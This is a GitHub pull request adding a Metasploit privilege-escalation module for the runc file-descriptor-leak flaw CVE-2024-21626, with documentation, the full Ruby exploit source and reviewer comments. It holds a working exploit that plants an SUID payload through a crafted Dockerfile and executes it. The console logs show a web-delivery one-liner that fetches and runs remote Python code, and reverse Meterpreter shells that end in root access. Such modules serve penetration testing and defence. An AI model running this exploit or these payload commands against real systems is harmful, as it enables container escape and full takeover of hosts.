-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
runc cwd priv esc (docker) (cve-2024-21626) #18780
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
## Vulnerable Application | ||
|
||
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, | ||
and Kubernetes are vulnerable to an arbitrary file write. | ||
Due to a file descriptor leak it is possible to mount the host file system | ||
with the permissions of runc (typically root). | ||
|
||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Get an initial session | ||
1. Do: `use exploit/linux/local/runc_cwd_priv_esc` | ||
1. Do: `set session [session]` | ||
1. Do: `run` | ||
1. You should get a root shell. | ||
|
||
## Options | ||
|
||
## DOCKERIMAGE | ||
|
||
A docker image to use, docker image must have linux commands | ||
available (`scratch` won't work). Defaults to `alpine:latest` | ||
|
||
## FILEDESCRIPTOR | ||
|
||
The file descriptor to use, typically `7` or `8`. Defaults to `8` | ||
|
||
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04 | ||
|
||
Get an initial shell | ||
|
||
``` | ||
user@userubuntu22:~/metasploit-framework$ ./msfconsole -qr runc.rb | ||
[*] Processing runc.rb for ERB directives. | ||
resource (runc.rb)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (runc.rb)> set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
resource (runc.rb)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/v5IbTIj', context=ssl._create_unverified_context());exec(r.read());" | ||
[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes) | ||
[*] Sending stage (24768 bytes) to 1.1.1.1 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000 | ||
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
|
||
meterpreter > getuid | ||
Server username: user | ||
meterpreter > sysinfo | ||
Computer : userubuntu22 | ||
OS : Linux 5.19.0-43-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 22 13:39:36 UTC 2 | ||
Architecture : x64 | ||
System Language : en_US | ||
Meterpreter : python/linux | ||
meterpreter > background | ||
[*] Backgrounding session 1... | ||
``` | ||
|
||
Priv Esc | ||
|
||
``` | ||
resource (runc.rb)> use exploit/linux/local/runc_cwd_priv_esc | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp | ||
resource (runc.rb)> set lhost 1.1.1.1 | ||
[*] Using URL: http://1.1.1.1:8080/v5IbTIj | ||
lhost => 1.1.1.1 | ||
resource (runc.rb)> set session 1 | ||
session => 1 | ||
resource (runc.rb)> set lport 9876 | ||
lport => 9876 | ||
msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/local/runc_cwd_priv_esc) > run | ||
|
||
[*] Started reverse TCP handler on 1.1.1.1:9876 | ||
[!] SESSION may not be compatible with this module: | ||
[!] * incompatible session architecture: python | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1~22.04.1 detected | ||
[*] Creating directory /tmp/.HdUvYm3 | ||
[*] /tmp/.HdUvYm3 created | ||
[*] Uploading Payload to /tmp/.HdUvYm3/.OiGEedVKP | ||
[*] Uploading Dockerfile to /tmp/.HdUvYm3/Dockerfile | ||
[*] Building from Dockerfile to set our payload permissions | ||
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release. | ||
[*] Install the buildx component to build images with BuildKit: | ||
[*] https://docs.docker.com/go/buildx/ | ||
[*] | ||
[*] Sending build context to Docker daemon 3.072kB | ||
[*] Step 1/3 : FROM alpine:latest | ||
[*] ---> 05455a08881e | ||
[*] Step 2/3 : WORKDIR /proc/self/fd/8 | ||
[*] ---> Using cache | ||
[*] ---> f73c936557f3 | ||
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 4777 tmp/.HdUvYm3 && chown -R root:root tmp/.HdUvYm3 && chmod u+s tmp/.HdUvYm3/.OiGEedVKP | ||
[*] ---> Running in c4afc663c2bc | ||
[*] Removing intermediate container c4afc663c2bc | ||
[*] ---> b490ec709420 | ||
[*] Successfully built b490ec709420 | ||
[*] Executing payload | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 1.1.1.1 | ||
[+] Deleted /tmp/.HdUvYm3 | ||
[*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000 | ||
[-] run: Interrupted | ||
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2 | ||
[*] Starting interaction with 2... | ||
|
||
meterpreter > getuid | ||
Server username: root | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,143 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::Linux::Priv | ||
include Msf::Post::Linux::System | ||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation', | ||
'Description' => %q{ | ||
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, | ||
and Kubernetes are vulnerable to an arbitrary file write. | ||
Due to a file descriptor leak it is possible to mount the host file system | ||
with the permissions of runc (typically root). | ||
|
||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Rory McNamara' # Discovery | ||
], | ||
'Platform' => [ 'linux' ], | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'Privileged' => true, | ||
'References' => [ | ||
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'], | ||
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'], | ||
[ 'CVE', '2024-21626'] | ||
], | ||
'DisclosureDate' => '2024-01-31', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'AKA' => ['Leaky Vessels'], | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK] | ||
}, | ||
'DefaultOptions' => { | ||
'EXITFUNC' => 'thread', | ||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', | ||
'MeterpreterTryToFork' => true | ||
} | ||
) | ||
) | ||
register_advanced_options [ | ||
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), | ||
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]), | ||
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]), | ||
] | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'].to_s | ||
end | ||
|
||
def check | ||
sys_info = get_sysinfo | ||
|
||
unless sys_info[:distro] == 'ubuntu' | ||
return CheckCode::Safe('Check method only available for Ubuntu systems') | ||
end | ||
|
||
return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc') | ||
|
||
# Check the app is installed and the version, debian based example | ||
package = cmd_exec('runc --version') | ||
package = package.split[2] # runc, version, <the actual version> | ||
|
||
if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2 | ||
package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched | ||
package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched | ||
return CheckCode::Appears("Vulnerable runc version #{package} detected") | ||
end | ||
|
||
unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln | ||
return CheckCode::Appears("Vulnerable runc version #{package} detected") | ||
end | ||
|
||
CheckCode::Safe("runc #{package} is not vulnerable") | ||
end | ||
|
||
def exploit | ||
# Check if we're already root | ||
if !datastore['ForceExploit'] && is_root? | ||
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' | ||
end | ||
|
||
# Make sure we can write our exploit and payload to the local system | ||
unless writable? base_dir | ||
fail_with Failure::BadConfig, "#{base_dir} is not writable" | ||
end | ||
|
||
# create directory to write all our files to | ||
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" | ||
mkdir(dir) | ||
register_dirs_for_cleanup(dir) | ||
|
||
# Upload payload executable | ||
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}" | ||
vprint_status("Uploading Payload to #{payload_path}") | ||
write_file(payload_path, generate_payload_exe) | ||
register_file_for_cleanup(payload_path) | ||
|
||
# write docker file | ||
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile") | ||
dockerfile = %(FROM #{datastore['DOCKERIMAGE']} | ||
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']} | ||
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} ) | ||
write_file("#{dir}/Dockerfile", dockerfile) | ||
register_file_for_cleanup("#{dir}/Dockerfile") | ||
|
||
print_status('Building from Dockerfile to set our payload permissions') | ||
output = cmd_exec "cd #{dir} && docker build ." | ||
output.each_line { |line| vprint_status line.chomp } | ||
|
||
# delete our docker image | ||
if output =~ /Successfully built ([a-z0-9]+)$/ | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Not a big deal, but to avoid having to parse the output for the image ID, you can also add an image name when building with the
and then, you can use it to delete the image:
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I had thought about this, but then we'd want to make it random. If it's random, theres a (very very small) chance of a collision, so we'd want to check that first. Then I decided that a random string is basically what we get anyways because its a hash, so may as well just go with the flow |
||
print_status("Removing created docker image #{Regexp.last_match(1)}") | ||
output = cmd_exec "docker image rm #{Regexp.last_match(1)}" | ||
output.each_line { |line| vprint_status line.chomp } | ||
end | ||
|
||
fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory" | ||
fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path | ||
|
||
h00die marked this conversation as resolved.
Show resolved
Hide resolved
|
||
print_status("Payload permissions set, executing payload (#{payload_path})...") | ||
cmd_exec "#{payload_path} &" | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a bit odd: while it's indeed a python-powered session, it's a meterpreter one, and this module is explicitly compatible with meterpreter sessions.